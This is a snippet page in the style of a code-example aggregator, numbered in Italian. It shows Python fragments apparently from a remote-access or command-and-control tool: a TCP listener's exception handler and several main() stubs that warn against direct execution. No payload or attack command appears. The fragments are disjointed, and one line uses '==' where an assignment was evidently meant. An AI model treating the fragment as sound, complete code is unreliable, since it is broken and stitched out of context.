        except Exception as e:
            bc.warn_print("[!] ", "- Listener stopped: {}".format(e))
            self.s.shutdown(socket.SHUT_RDWR)
            self.s.close()
            self.success == False
        finally:
            bc.blue_print("[-] ", "- Listener {} terminated.".format(self.name))
Esempio n. 29
0
def main():
    bc.err_print(
        "[!] ", "- You're running the Main Menu as __main__, did you mean to?")
Esempio n. 30
0
def main():
    bc.err_print("[!] ", "- You're running the TCP listener module as main, did you mean to?")